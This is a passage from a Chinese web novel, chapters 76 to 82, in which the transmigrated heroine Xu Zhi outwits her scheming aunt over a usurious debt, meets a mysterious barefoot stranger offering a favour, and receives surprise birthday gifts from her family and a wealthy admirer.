王素娟一听笑的直不起来腰,半天她捂着笑痛了的肚子,凑近了说道: “老太太,我身上的衣服都是你儿子买的,我还把家宝送进了城里的学堂,你真的觉得你儿子不清楚吗?” “什么?!” 邓老太听到这话,如遭雷击。 她不敢相信这件事竟然不是儿媳妇一个人的报复。 王素娟看着她吃惊地样子,只觉得好笑。 压低了些声音继续道:“你的户籍文书是你儿子亲手交出来的,他说你这个亲娘还算有点用处。” 听到这话,邓老太气血翻涌,呼吸急促,眼前瞬间一黑,人就要往后倒去。 许芷就是这个时候到的,她看到祖母后仰要摔倒的时候,心下一窒,快步冲上去扶住了祖母。 幸好她到的及时,要不然让祖母摔倒在地,许芷不敢想会有什么样的后果。 “祖母?祖母?” 许芷唤了两声,邓老太眼睛缓缓睁开,看到面前的许芷,眼泪止不住的流。 “小指儿,祖母对不起你。” “先别说这些了祖母,你先平复一下心情,你这是气急攻心,若是不冷静下来,后果不堪设想。” 看到祖母还是要哭哭啼啼的,许芷语气重了很多。 “祖母,咱们的日子刚好起来,难道你要孙女我天天照顾只能躺在床上的你吗?” 闻言,邓老太慌乱的否认,她才不要成为孙女的负担。 许芷按下她的手,表明自己知道了,让祖母千万不要激动。 邓老太连连点头,她一定不激动,不要拖孙女的后腿。 王素娟看到许芷过来,故作恍然大悟道: “怪不得许丫头前一段又是租地,又是买药苗,还盖了个大院子,原来这些钱是让老太太借的。 如今人家要上门,婆母你还不上,故意来我门前闹一出,想把这事儿赃到我们头上,你可真是亲娘啊。 还好村里的都没跟着这贱丫头租地种药苗,要不然还不赔个底朝天。” 这话倒是说到了旁观的村民心里,毕竟许芷现在这日子过的太好了,一进的院子都盖了起来。 可以说甩了村里人好几条街。 大家都吃糠咽菜,那是日子就是这样,可若有一个人吃了肉,这肉就必须是卖肉得肉这种不正当手段得来的才行。 要不众人心中不爽利。 果然,有几个从前酸的很的,这会儿张口就是奚落。 “原是如此啊,素娟儿,还好没跟着这丫头胡闹,要不然明年人家都收粮食,咱们啊,去要饭。” “就说许丫头一个赔钱货,毕竟不是小子,能成什么大事,果真是胡来,连印子钱都敢乱借。” “没爹没娘的孩子,到底成不了什么气候。” 第77章 不留情面 正议论着,有几个还故作好心的提醒跟过来的王茹娇。 “娇娇,知道你家富足些,可也不该跟着这丫头胡来,听婶子的话,赶紧把地里的药苗拔了,去种粮食还来得及。” “就是啊娇娇,赶紧吧,可别被这小丫头利用。” “婶子们都是好心,你可要念着点好。” 王茹娇闻言并未直接跟他们起冲突否认,而是漫不经心的摇头又晃脑,感慨道: “哎——这村里的耗子可真多啊,多的猫都抓不及,狗没这能耐还好卖弄,改日让我哥回来带点耗子药。” 这意思在场的要是听不懂那就是傻子了,他们的脸色瞬间变得不好看。 轻嗤一声,暗骂几句王茹娇骄纵不堪的话,却不敢再大声多说些什么。 王茹娇见此,嘲讽一笑,就知道这几个长舌妇欺软怕硬,不敢对自己说什么。 可王素娟这人滚刀肉一样,村子里其他人顾忌王茹娇的哥哥,她可不在乎。 “要不有句话说得好,近什么黑什么,这仗势欺人、泼黑水脏别人的都关系好。” 这话说的有意思,仗势欺人说的是王茹娇,泼黑水说的是许芷和邓老太祖孙俩。 一旁看热闹的人,听到王素娟这么敢说,都纷纷给她数个大拇指。 看到这一幕,王素娟更加得意洋洋。 不屑的看了一眼许芷怀里虚弱的邓老太,骂道:“要死一边死去,别死在我门前头脏我一身。 真是晦气,借的钱赃不到我身上,想出这种苍蝇进嘴的恶心招数。” 王茹娇听不下去,上前尖声道:“你这说的算什么话?婶子好歹是你婆母。” 王素娟闻言淡淡瞥她一眼: “你还真是咸吃萝卜淡操心,许丫头还没说什么,你多嘴什么? 难不成是做了许丫头的狗,急着表忠心。” “你!” 王茹娇生气的想要上前。 许芷知道王素娟下手没轻重赶紧拉住了王茹娇。 “娇娇,我来就行,你在我身后。” 闻言,王茹娇重重吐出一口气,一记眼刀甩到王素娟的身上,站到了许芷的身后,帮忙扶着邓老太。 许芷看着王素娟死猪不怕开水烫的样子,缓缓开口道: “那人说钱是用了户籍文书借的,可户籍文书都不在我们这儿,怎么可能是我们借的。” 王素娟嬉皮笑脸的故意说道:“哎呦,家里户籍文书好像丢了,是不是你们祖孙俩偷走了?” 听到了想听的话,许芷唇角微微勾起,故意道:“你这招确实精明,可惜了,你不懂律法。 本朝律法规定,若是父母亲借债无偿还能力,债务自然落到儿女的头上。” “你放屁!” 王素娟一听这话慌了一瞬,紧接着不知道想到了什么,哼笑出声: “可你们跟我们分了家,还有文书作证,如何也落不到我们的头上。” 许芷并未跟着她的话说,而是冷冰冰的看着她,道:“舅母不是说不是你借的,如今这是认了?” “你故意的!” 反应过来的王素娟高声道。 转而破罐子破摔道:“你这孩子胡说八道什么呢?什么认不认的,我可不明白你说的啥。” 看到她这无赖样子,许芷不怒反笑。 “你承认了就行,如今这么多人在,都是人证。” “我王素娟可不是被吓大的,什么承认、什么人证,你可别胡说八道了。” 王素娟心里有一点没底,可她觉得这事儿做的天衣无缝,怎么都砸不到自己手里。 再看向许芷,她脸上满是胸有成竹的笑容,那笃定的样子,让王素娟心里咯噔一下。 许芷清楚在场的大多就是看笑话的,所以她长话短说: “你若是态度好些,我本可以把这件事处理的妥当些,可既然你坚持,那就别怪我不留情面的解决。” 听到这话,王素娟心里涌现出浓浓的不安感,她忍不住问道:“你个死丫头,要干什么?” 许芷并不理她,问了问祖母好多了,能走回去。 她跟王茹娇两个人扶着祖母往家回。 听着身后王素娟破防大叫的声音,也一步不停。 而王素娟看到自己被忽视了,呸的一声吐在地上。 却听得旁边看热闹的人说道: “哎呦,许丫头什么时候懂律法了?” “这有何稀奇的,从这许丫头死而复生开始,简直大变样,去那山上乱找点什么草都能卖钱。” “还非要种什么草药,咱们村几辈子也出不来一个懂药的,要我说这许丫头一定是被他人借尸还魂了,素娟儿给自己弄了个大麻烦啊。” 这话惹恼了她,王素娟将气都撒在了看热闹的人身上:“自己家一屁股屎还没擦干净,天天操心别人家的屁股,都赶紧给我滚。” 看热闹的听到这话,也并不生气,只是表情揶揄,迅速散开了。 许芷回了家立刻让祖母躺下,帮祖母把了把脉,主要还是气急攻心导致的。 家里还有上次冯家姐妹给的安神静气的药膏,她冲了水让祖母喝。 喝完之后,邓老太逐渐静下来,一会儿竟睡着了。 看到祖母睡着了,许芷走出了房间,对上了王茹娇担心的眼神。 “小芷,婶子没事吧?” “这会儿睡下了。” 听到这话,王茹娇才义愤填膺的骂着王素娟,骂的自己气喘吁吁。 可看到身边的许芷一言不发,王茹娇知道自己这话不过是加重许芷的焦虑,她赶紧闭了嘴。 看着许芷紧皱眉头的样子,她拿出了自己的钱袋子,塞给许芷。 “小芷,这是我所有的钱,我还管我娘和嫂子借了点,凑了二十两,你先拿着。” 她今天来山坳就是来送钱的,没想到遇到了这事儿,这会儿才拿出来。 昨晚在许芷和邓老太走了之后,她问过哥哥了。 邓老太在的时候,她哥说话还委婉了些,其实这钱只能认栽。 因为律法是约束守法之人,若是那人就是不守法,这种钱财上的事情,也不是杀人放火偷东西,他们真的没法管。 王茹娇一听就明白了,可邓老太哪有钱还,最后这债其实是落到了许芷的头上。 所以邓家老大夫妇两个,看似是在往亲娘头上赃,实际上他们对准的是许芷。 无可奈何的王茹娇,她只能借了钱帮助许芷。 虽然二十两不多,可是能帮一点是一点吧。 第78章 蝎子蜇人 许芷看着手里的钱袋子,她知晓王茹娇的意思。 但是她其实脑海中不止这一个办法,只是损了些。 之所以会陪着祖母去问,还是希望如果能通过官府的方式解决,更有威慑力一点。 既然不行,那就别怪自己不仁义。 所以她将王茹娇的钱袋子还了回去。 “不用,我有办法。” 王茹娇只当她是不好意思接受,佯怒道:“你要是不收下就是没把我当好朋友。” 无奈,许芷先收着,等到事情解决了再还回去。 看到许芷收下,王茹娇松了口气,没什么事情的她打算回家。 在她走之前许芷让她给她哥捎一句话。 王茹娇虽然不懂许芷是要干啥,但是她让许芷放心,这话她一定带到。 晚上王桥回来了,饭桌上看到自己妹妹要开口,还以为她又要给许芷她们求情。 可这件事他真的无能为力,他也不是县令,哪有那么大的神通。 所以他有些不耐烦的说道:“若还是那许丫头的事,就不必说了,我真帮不了,让我安生吃个饭吧。” “不是,哥。” 王茹娇赶忙否认,“我不是为那事,许芷说了不让我管,只是托我给你带句话。” 他一听,一句话而已,他还是能听的,就让王茹娇说。 “小芷说,她明日去县衙拿邓家的户籍文书,今日得知邓家的户籍文书丢了。” 王桥一听瞬间抬起头看向王茹娇,“这是真的?” “嗯。”王茹娇点点头道:“今日王素娟亲口说的,好多人都听到了。” 闻言王桥笑出了声,喃喃低语:“这丫头倒还真是个有主意的。” 光这一句话王桥就知道,许芷想要干什么。 怪不得,那日她问自己户籍文书怎么补。 王茹娇看到哥哥笑了,不理解的问道:“哥,你笑啥?” 王桥吃完了最后一口馍,语气轻松地说道:“没啥,你明日去跟许丫头说,让她明日去府衙找我,我会给她补的。” “好。” 虽然不知道哥哥在高兴什么,但是许芷的话带到了就行,哥哥也没有拒绝。 这边王素娟睡在床上,长吁短叹,翻来覆去的睡不着觉。 满脑子都是许芷说的律法。 父债子偿,天经地义。 这话她也知道,总不能她就聪明这一回,反倒给自己挖了个大坑吧。 那笔钱可不是小数,真要是落到了他们的头上,让她还不如杀了她。 她在这边冥思苦想,身边的邓栓子呼噜声大起。 听的她气不打一处来,她都快愁死了,可邓栓子没事人一样的呼呼大睡。 招是她想的,可是人却是邓栓子找的,户籍文书也是他拿出来的。 凭什么她在这翻来覆去,愁的头发都要白了。 想到这,王素娟“嘭”的一脚踹在了邓栓子的身上。 可这一脚就像踹在了石头上,没把邓栓子踹醒,反而她脚指头疼的不行。 她龇牙咧嘴的揉着脚,愤愤的用指甲尖掐在了邓栓子侧腰的嫩肉上。 下一瞬,邓栓子“嗷”一嗓子坐直了上半身。 “特娘的,这大冬天的怎么有蝎子蛰我。” 他一边揉着腰一边说着,转头看向妻子的目光在黑暗中幽幽的盯着自己。 吓他一跳,他生气的抚着胸口,不满的说:“你大晚上的跟狼一样要干啥?” 问完他看到王素娟还是不说话,就这么看着他。 他想到了什么,坏笑出声:“你这婆娘怎么如狼如虎的,那赶紧吧,完了我赶紧睡,还困着呢。” 说着,他的手就往王素娟的胸前探去,王素娟恨铁不成钢的一把推开他。 “你那脑子里就不能惦记点正事!” 她将今天许芷说的话告诉了邓栓子,“你这外甥女可神气的很,还知道律法,万一她说的是真的,这石头不就砸咱们自己?” 邓栓子一听这个,不耐烦地“哎呀”一声,“她大字不识一个,从她嘴里听律法,你还真敢信。 这丫头从小在咱们家过的啥日子,你不清楚?亏你还是孩儿他娘,被个十几岁的小丫头唬住。” 说着他背过身去,又睡着了。 王素娟觉得没这么简单,她觉得明日还是要去那地方问一问,他们到底忌惮律法不。 第二日一大早,王素娟就出了门。 许芷早早就等在了村口的槐树后面,远远地看着王素娟过来,她躲了躲,看着王素娟走了才跟上去。 她一直跟到了城里,看着王素娟鬼鬼祟祟拐进了一条小巷子里,敲了巷子尾那家的门。 敲门的时候还很有讲究,三短两长,门就开了。 许芷看清楚后,转身离开去了府衙。 到了府衙门口,门口站着的挡住了她的去路,问她是谁、找谁。 许芷先自报家门,跟着又报了王桥的姓名。 因为王桥早上来的时候,怕门口的人不放许芷进来,特意交代了。 所以他们一听许芷的名字就让她进去了。 其中一个把她带了进去,让她在堂前等着,他去叫王桥。 王桥过来的时候,手里还拿着一卷东西。 看到许芷,他抬手打招呼:“许丫头,这里。” 许芷上前去,他递出了手里的东西。 “这就是邓家的户籍文书,你可要收好了。” 许芷微笑颔首,感谢王桥:“桥叔,今日晚辈还有事,只能嘴上先谢上,等改日晚辈定然登门拜谢。” “客气了许丫头,快去吧,别耽误了时间。” 王桥浑不在意的说着。 许芷把王茹娇的钱袋子拿了出来,递给王桥道:“另外,这是娇娇借给我的钱,我这边用不上,请您替我还给她。” 王桥知道许芷通过自己还,是怕直接给王茹娇她不接。 所以他接过钱袋子,让许芷放心。 跟王桥道了别,许芷直奔那个小巷子。 她按照王素娟的方式敲了门,没一会儿就有人开门。 开门的正好是那日来催债的其中一个,看到她笑的不怀好意。 “是你啊姑娘,今日来是?” “借钱。” 许芷冷着脸,说话言简意赅。 那大汉看到许芷还以为是还不上来卖身的,结果是来借钱的。 他笑得更有深意的说道:“进来吧。” 许芷跟着这人进去,被带进了那个强子哥的屋里。 强子看到许芷眼神都放了光,笑的邪气。 “哟,小丫头,来还钱呢?” 许芷摇了摇头,淡定吐出两个字。 “借钱。” 第79章 白日见鬼 “借钱?” 强子没想到这丫头还敢来借钱。 旁边的人听到这话,也疑惑不已。 “小丫头,你疯了吧,那钱你都没还呢,你还借?” 这人的话音刚落下,旁边的人捅了捅他的胳膊,笑的淫荡说:“也是,要这妹妹卖身的话,那点钱怎么够啊。” 说完在场的所有人都放荡的笑出声。 许芷听着这刺耳的声音只觉得恶心到头皮发麻,可她要办的事情还没办完,所以只能先忍着问:“我到今日欠你多少?” 强子看着面前淡定的少女,缓缓伸出了三根手指。 “三百两。” “好,我就借你三百两,一百五十两以邓耧子的名义,一百五十两以王素娟的名义,户籍文书我都带来了,赶紧吧,我还有事急着回去。” 许芷这话说的轻松,就好像是吃什么饭一样平常。 强子轻笑一声,用食指在他和许芷之间轮流转,有些不相信的问道:“你要借我的钱,来还我的钱?” 许芷闻言一副有何不妥的样子,问道:“借钱你借不借?” “借啊,我求之不得。” “那我手里有三百两还你钱你要不要?” “要啊,你还我钱天经地义。” 强子说完,哽住了,总觉得哪里不对,可是说不出不对在哪里。 许芷挑眉看向对方,意思很明确了。 强子头一次被一个小丫头绕进去了,他让手下去拟了两张欠条。 许芷看过没问题,立马按了手印。 银子拿出来她拿在手里,管强子要欠条。 强子不满的说道:“做生意还讲究个一手交钱一手交货呢。” 闻言,许芷把手里的银钱放在了桌子上,往强子那推了推。 强子打开了个抽提,翻出了邓老太的那张欠条,同样也放在了桌子上,往许芷那边推了推。 两人都拿到了自己想要的东西,也在这个瞬间,放开了自己手里的东西。 拿到欠条,许芷没有犹豫,直接在门口的蜡烛上烧掉。 做完这些,许芷头也不回的离开了这里。 回到家的时候,祖母正在做饭。 其实这会儿才半下午,吃晚饭的话有些早了。 但是许芷知道,祖母一定是担心她,怕她饿才提前做饭。 “祖母,我回来了。” 许芷掀开帘子,看到祖母的精神好了许多。 邓老太扭头看到孙女,她忙问道:“怎么样了?” 许芷今天走的时候,跟祖母说了是要去衙门处理这件事,还说她跟王茹娇的哥哥商量好了。 “放心吧祖母,他们不会来找我们了。” 许芷肯定的说道。 邓老太还以为是衙门解决了这件事,她心里的大石头瞬间落了地。 “那就好那就好,祖母给你蒸了米饭,炖了你喜欢的五花肉,吃饭吧,在外面跑一天了。” “好。” 本来不觉得饿的许芷,闻到了红烧肉的香气,肚子立刻开始咕咕叫。 接过祖母盛好的米饭,祖孙俩终于吃了一顿舒心的饭。 吃过饭,许芷想去地里看看药苗。 却在刚走出大门,看到了一个满头杂乱白发、穿着脏到起腻子的破棉袄的老翁站在了门前的柿子树下。 看到她出来,缓缓伸出了手,招手让她过去。 许芷面色不改的愣了一瞬,紧接着,她退回了院子,一点不犹豫的关上了大门。 “怪事,白日见鬼。” 她摇摇头尽量把刚刚看到的那一幕甩出自己的脑海。 而邓老太看她又回来,忍不住问道:“怎么又回来了?” “没啥,冷得很,不想出去了。” 许芷随口说道。 祖母点了点头,晚上她想包点包子,要大葱。 寻思着出去挖两颗大葱回来。 许芷看着祖母开了门,不过十个数立刻又回来了。 “怎么又回来了,祖母?” 邓老太神色如常,淡定道:“没啥,冷的冻手,不想出去薅葱了。” 此话一出,许芷探究的眼神看向祖母,只有她一个人看到,那是见了鬼。 祖母也看到,那就一定是人,还是她不想见到的人。 “祖母,那人你认识是吗?” 邓老太迟滞了一瞬,才有些僵硬的将目光转移到许芷身上,好似才如梦初醒一般。 “啊?啊,不认识,不认识。” 许芷也不急着问,她故意道:“那就行,我还以为见了鬼,祖母要是也能看到我就放心了。 那人还冲我招手呢,不知道是人之前我还以为是冤魂索命呢。” 听到那人对许芷有所动作,祖母有些着急的上前问道:“他让你过去?” “祖母这么紧张干啥,既然是不认识的人,肯定不会对我做什么。” 许芷洒脱又天真的说着。 邓老太沉思了一会儿,交代许芷再见到那人离远点,他干什么都别理会。 许芷面上点着头,嘴上却说着不同意。 听着孙女不听自己的话,邓老太不满的看向她。 “你听祖母的就对了。” 许芷也不闹了,就答应了祖母。 只是第二天她开门的时候,那个人还在那,看到她依旧是招招手让她过去。 许芷往屋里看了一眼,没看到祖母的身影,她准备走出去的时候,犹豫了一瞬,还是走了过去。 “你是谁?” “不重要。” 这人的声音倒是出乎意料的年轻,听起来跟王茹娇的哥哥差不多,但更有磁性些。 若不是有这幅邋遢至极样子,光听声音,还以为是个俊秀的男子。 许芷盯着对方,不算客气的问:“那你叫我过来做什么?” “我来完成一个约定,你可以随便向我提一个要求,我一定办到。” 那人说的语气恳切。 “为什么?” 许芷并不认为这人能帮自己办到什么,真要有这么大的本领,他还能这个样子? 所以她更想知道对方为什么会这么说,为什么会来帮自己。 “我说了是一个约定。” 那人并不正面回答许芷的问题,只是重复着之前的话。 许芷轻皱眉头,看着对方,想看透些什么,却什么也看不出。 主要那潦草的模样,太具有欺骗性。 那人看许芷说不出,主动道:“我可以给你时间慢慢想,不过最慢也要到明年开春前,任何请求我都一定办到。” 说完他缓慢地离开。 也是这个时候,许芷才看到他并没有穿鞋子。 第80章 豆馅馍馍 红肿斑驳的脚就那么踩在冰凉的地面上,脚踝干瘪,皮肤紧贴着骨头,好像下一秒骨头就要透出来。 许芷想到舅舅好像有一双鞋子丢在这边,她想回去拿给这个人穿。 可她冲着那个背影喊了几声,那人都没有停一下脚步。 许芷很好奇这个人到底是谁,正想着祖母出来了。 “怎么在外面站着?” “透透气。” 许芷心里庆幸那人没留下,要不然就让祖母看到了。 跟着祖母去地里薅了点菠菜和皇帝菜,吃了碗热乎乎的白菜糊面,许芷去了药田。 看着地里的药苗没什么事,她就放心的回了家。 回家之后,她一直在想那人到底是谁。 看样子,祖母是认识对方的,但是不希望自己跟那人有牵扯。 可自己作为许芷不过十四五,怎么会跟那个老翁有纠葛呢? 突然她脑子里灵光一闪,莫不是上一辈人的恩怨。 想到这,她决定去王茹娇家打听下消息。 万一是个危险的人,知己知彼好早做打算。 “祖母,我去找娇娇啊。” 许芷拿着刚烤好的红薯片,转身出了门。 而这边邓老太约摸着许芷到了王家,她也出了门。 到了王家的时候,王茹娇正在跟嫂子徐青云做豆馅。 还有个半个月就要过年了,好多东西就开始准备起来了。 许芷和祖母因为就两个人,做的东西少,所以还未开始。 “小芷,正好你来,快来尝尝我做的豆馅。” 王茹娇指着竹篦子上一个个团成团的红豆馅说道。 下坪村这边过年盛行提前准备豆馅馍馍、红糖烧饼和许多的炸物。 人丁兴旺的人家,需要准备的多,好多都是进入腊月开始一天准备一样。 先准备天冷耐放的,再准备那些不经放的。 像豆馅馍馍这种天冷放在外面一个月都没事,吃的时候上锅热一下就行。 “婶子,娇娇。” 许芷叫过人,接过王茹娇递过来的豆馅,咬一口,豆馅绵密但不怎么甜,吃的是豆子本身的甜香气。 “好吃。”许芷笑着夸赞道,将手里的烤红薯片递过去。“祖母刚烤好的,婶子、娇娇,你们尝尝。” 王茹娇也不客气,拿过就吃了起来。 而徐青云因为正在和面,手上都是面粉,摇了摇头说自己不吃。 正好这会儿面没好,还不能包豆馅馍馍,用不到两个人,所以徐青云让王茹娇带着许芷去闺房里玩去。 还交代她拿一些从卖货郎那刚买的零嘴招待许芷。 两人进了屋之后,许芷也没迂回,直接问王茹娇是否听过,自己的生身母亲年轻时与旁人有无纠葛。 王茹娇一听有些愣住了,没想过许芷会问这个。 她仔细地想了想,“倒是没听说过。” 许芷闻言垂眸,确实,王茹娇也就比自己大一岁,十几年前的事情,她恐怕也不知道。 不过王茹娇说自己可以在母亲和嫂子两边打听打听,等打听到了去找许芷说。 许芷嗯了声,就不再久留。 临近年关,家家都在忙活,自己占着人半天不好。 回家的时候,看到了几日不见的邓耧子。 “舅舅,城里的活计做完了?” 许芷语气里透着点惊喜。 “昂。” 邓耧子回来,还带了不少的东西。 这一年他都在这边吃饭,因着许芷的缘故,他顿顿吃的好。 所以过年的东西他就主动预备下了。 光面类他就买了三种,五十斤细面、二十斤玉米面、十斤红薯粉面。 猪肉买了二十斤后臀肉、十斤排骨、五斤里脊、三根大肠、一块猪肝、四个猪蹄。 另外牛羊肉各买了十斤,牛肉主要买的腱子肉,为了卤着吃。 羊肉买了五斤肥瘦相间的,打算盘馅包饺子,剩下的五斤是买的羊蝎子,可以炖了吃热锅子。 因为家里养的有鸡鹅,所以他买了两只肥鸭。 其实他还看到了鱼虾,只是他们这中原地区不靠河海,卖的鱼虾都是死的,买回去不及时吃会坏。 不如等到了过年前几天再买。 调料和大料都一样添置了些,还买了五斤白糖和五斤红糖,还有十斤红豆。 冬天白菜炖粉条吃的多,他又买了些红薯粉条,买了两种,一种圆的细粉,一种扁的宽粉。 不过说是宽粉,也就半个指头那么宽。 除了这些,还买了许多的干菜,干黄花菜、干木耳、干香菇、干豆角、干豆皮,这些都是过年做特色菜需要的。 除了菜,他还买了瓜子、花生、核桃、桂圆、红枣和柿饼。 许芷有些呆滞的看着堆满了一厨房的东西,忍不住道:“舅舅,你这买的也太多了。” “这还多呢?” 邓耧子不以为意,“这还不够呢,我是想不起了,要是带上你祖母,买的更多。” 许芷心想带上祖母应该只会买的更少吧,祖母可不舍得让他们俩花钱。 邓耧子看出了外甥女的意思,他笑着说:“嗐,从前家里是穷点,肉可能买的少,但是其他的一样不会少。” 许芷点了点头,这倒是她第一年在北方过年,还有些期待。 正想着,她看到了角落里一块红绸布遮了样东西。 她指着问:“舅舅,那红布盖着的是啥啊。” 邓耧子一听她问,突然心虚的挡了她的视线遮掩。 “没啥没啥。” 看得出舅舅故意隐瞒,许芷也不多过问了。 不过邓耧子显然是怕她再问,不放心的指使她:“你出去找找你祖母,我回来就没见她。” 许芷嗯了声出了门,还没出了山坳就看到了祖母的身影。 她高举着手挥舞道:“祖母。” 忙上前扶着祖母往家回。 许芷:“您去哪了,祖母。” 邓老太语气恹恹:“买了些东西。” 许芷只当祖母是累了,扶着祖母赶紧回了家。 到了家,邓耧子将他买的东西又给邓老太说了一遍。 邓老太闻言皱眉道:“你把钱都花给亲娘了,娶媳妇儿咋办?” 邓耧子不在意的摆摆手道:“哎呀,娘,建暖房我挣了不少呢,你就别唠叨我了。” 许芷也打圆场:“祖母,舅舅这是不好意思天天在这儿吃饭,所以买东西图心安呢。” 邓耧子一听也立马附和。 如此,邓老太也不好再多说什么,转头对许芷开口道:“你出去找娇娇玩去,晚上吃饭再回来。” 第81章 腊月十六 闻言许芷微怔,这突兀的要求...... 但她没表现出自己的想法,而是听话的出了门。 到了王茹娇家中,看到王茹娇和她嫂子疑惑的眼神。 许芷面色淡定回道:“我来学一下豆馅馍馍咋做。” 姑嫂俩人心想,这豆馅馍馍也不是啥金贵复杂的东西,邓老太就能行,怎么来特地来她们这学。 不过她们俩并未细究,还是热切的带着许芷一起包豆馅馍馍。 许芷本来就是一句托词,但是看到了竹篦子上放着的豆馅馍馍,跟馒头一样下平上圆,倒是好奇心上来了。 她还以为把豆馅包进去,馍馍的造型会像包子那样。 只见那姑嫂俩一个人,一人弄着面团,另一个人包。 拿起一个豆馅,塞进面团里,用虎口逐渐的将口收紧。 接着放在案板上,两个手一起搓着转,没一会儿就成了型。 看了一会儿,许芷去净了手,也一起包。 刚上来她收口收不紧,还是王茹娇手把手的教过才好一些。 不过有制药丸的经验和手感在,做了几个许芷的手感就上来了。 在王家一呆就是一下午,把本来两天包完的豆馅馍馍都包完了。 蒸熟之后,趁热许芷吃了一个。 走的时候,王茹娇给了许芷十个豆馅馍馍,里面有五个都是许芷刚上来做的瑕疵品。 “带回去给婶子看看你的进步。” 王茹娇眼神揶揄的说着玩笑话。 许芷佯怒的瞪她一眼,转身朝着落日走去。 刚进门,一阵花香气扑鼻而来。 听到她回来的声音,邓老太在厨房挑了帘子出来,喜气的笑着。 “小指儿,快去你房间看看。” “怎么了,祖母?” 邓老太不做多言,直接走过去拉着孙女的手进了屋。 越靠近花香味越是浓烈,她还没进房间,只是在堂屋已经看到了花。 站在房间门口,她的屋里全是花。 这话丝毫不夸张,她甚至没有下脚地可以进去。 地上、梳妆台上,甚至还有床上,都是各色的绣球花。 一朵朵、一簇簇,堆砌在一起如同花的海洋。 甚至花都不是乱摆的,而是按照天虹的颜色,从里面蔓延至门口。 由高到低、由赤到紫,这些颜色过于绚烂,晃了许芷的眼。 这香气过于浓烈,让许芷昏了头。 她愣怔的看向祖母,刚想问这是怎么回事。 祖母笑的宠溺,“还有呢。” 拉着她的手进了厨房,已经做好了一桌子的菜,丰盛的好似已经到了年三十儿。 她拿出了袖袋里的一根银簪子,给许芷插上,端详了一阵,满意的点了点头。 “好看。” “还有我呢,许丫头。” 祖母身后的舅舅,拿出了许芷指过的那个红绸布。 揭开里面是一件玫红色的寒梅刺绣袄子。 他递过来让许芷试试。 “你们这是?” 许芷还是有些摸不着头脑,今日到底是什么日子,竟如此费心。 邓老太慈爱的摸着许芷的手道:“傻丫头,连今日是你的生辰都给忘了,腊月十六,你的生辰。” 重复一遍,怕许芷反应不过来一样。 许芷这才知道,今日是许芷的生日。 看着孙女还愣怔的样子,邓老太推着她进了另一间屋子,换上那件袄子看看。 许芷不算美人的长相,但胜在清新娟秀。 如今穿上这亮眼的玫红色,倒反衬的娇媚,看着竟有了大姑娘的实感。 邓老太看着,想起了自己那早逝的女儿,眼眶不禁湿润了些。 女儿走的时候,不过二十五岁的年华。 现下外孙女都已然亭亭玉立,总算是没有辜负女儿。 邓耧子看到许芷眼前一亮,毫不吝啬的夸赞:“真不愧是我邓家的儿女,如此好看,也不知道日后便宜哪个小子。” 听着这直白的夸赞,许芷脸色讪讪。 “好了,小芷快坐下吃饭吧,先吃长寿面,长寿又安康。” 邓老太拉着许芷坐在了放有鸡蛋面的凳子。 这鸡蛋面做的简单量少,碗底放料,舀一勺煮面的面汤进去。 面煮好的时候随一点青菜,捞出放进碗里,再加一个煎鸡蛋就好。 因为还有好多菜,这面等于是个好彩头。 感受到家人浓烈的情感,许芷红了眼睛,她低头掩饰了一瞬,拿起筷子准备吃面。 邓老太却阻止了她。 “面头在鸡蛋下面,你挑出来一口气吃完这一根面,这样健康长寿。” 许芷按照祖母说的照做,心里是十分的感动,嘴上吸那一根面吸的是十分的嘴酸。 吃过面邓老太和儿子两个人又对许芷说了些吉祥话,才开始正式的吃饭。 “祖母,那些花你们从哪里弄来的?” 许芷边吃边问道。 这么多盆绣球花可不是简单的钱能办到的,这种天气光是让花活着都不易。 “这花不是我跟你舅舅的手笔,是上次乔迁宴来咱们家那位贵公子送的,说是你算怀清堂的人,生辰自然要送礼。” 闻言,许芷夹排骨的筷子顿了一下,刚夹起的那块排骨,又掉进了盘子。 邓老太给她掉的那块夹进了她的饭碗,继续说道:“这大户人家的少爷就是不一样,生日送些稀罕的花,不顶饿也不抗风的。” 许芷垂眸,心中涌现了不安。 太反常了。 宋清奕这样子太反常了。 她于他而言只是个乡野丫头,就算她是存了档的制丸伙计,也断断没有送这般大礼的道理。 单就说怀清堂的伙计,哪一个有这样的待遇。 许芷心底逐渐浮现出一个可能,那就是宋清奕可能认出自己了。 可是她自认没什么特殊的举动,让其认出她。 这简直太不可思议了,但她投魂于此身这件事本就荒谬,怎可能有人会信。 而且是在她并未有实际的任何行为的前提下,对方获悉这件事的可能性,她认为是零。 看着孙女难看的脸色,邓老太还以为许芷是觉得自己没有及时回来道谢,怠慢了宋清奕。 毕竟孙女明年的药材种出来可是要卖给怀清堂的,要是得罪了人家,这东西还咋买啊。 故而邓老太补充说道:“搬花的时候我跟人家说了,要叫你回来,是他不让,说什么你回来就不算惊喜。 我寻思着也不能怠慢了人家,坚持去叫你,结果他让小厮直接掉头赶着马车走了。 所以是他自己不让叫你,你可别觉得是自己怠慢了,心中过意不去。” 第82章 又是亲事 许芷没有解释,只是撑起一抹笑容对祖母摇摇头说没事。 晚上,许芷躺在床上仔细回忆着她跟宋清奕这几次见面。 她实在想不出有什么能让对方看出自己是苏怀夕。 而且她有自己的路要走,他们之间错位了十年,物是人非。 就算他能认出来自己又怎样,她不打算跟他有任何的纠葛。 她现在是许芷,也只能是许芷。 想到这,她微微叹了口气,逐渐睡了过去。 第二日,她刚吃过饭,王茹娇就带着她的生辰礼过来了。 “我应该早早给你预备下,可卖货郎迟迟不来,我也去不得城里,就只能误到今日。” 许芷不慎在意的说着:“你惦记着我这份心重要。” 此话让王茹娇瞬间喜笑颜开,她给许芷送的是一盒面脂。 她看许芷倒不是很在意自己的脸,冬天风烈,许芷的脸蛋都干出印子了。 故而给许芷买了盒面脂,冬天了卖货郎手里的面脂多,她挑了个最好的。 许芷接过郑重的谢过王茹娇。 突然王茹娇鼻子一抽一抽的闻着,“这什么味儿啊,这么香?” 昨天的绣球花实在是太多了,冬天又怕这花活不了,许芷只好把这花放在了侧门的连廊里。 连廊是封闭的,直通窑洞,里面放一个小炉子温度就上来了。 当初盖房子的时候,因为窑洞没法大改,所以窑洞的炕并未通暖炉。 而是把新房的两间屋子的炕都做成了火炕,晚上一烧整个屋子都是暖的。 所以天冷之后邓老太就搬进了另一间有火炕的屋子睡,窑洞空下来正好带着连廊能把所有的花放下。 许芷打开了侧门,王茹娇瞬间眼前一亮,惊呼出声:“天啊,这么多花,好漂亮啊小芷,哪来的?” “别人送的。” 看出了王茹娇的喜欢,走的时候她让王茹娇拿走了两盆。 王茹娇抱着两盆花,兴冲冲的回了家。 刚送走人没多久,许芷又听到了敲门声。 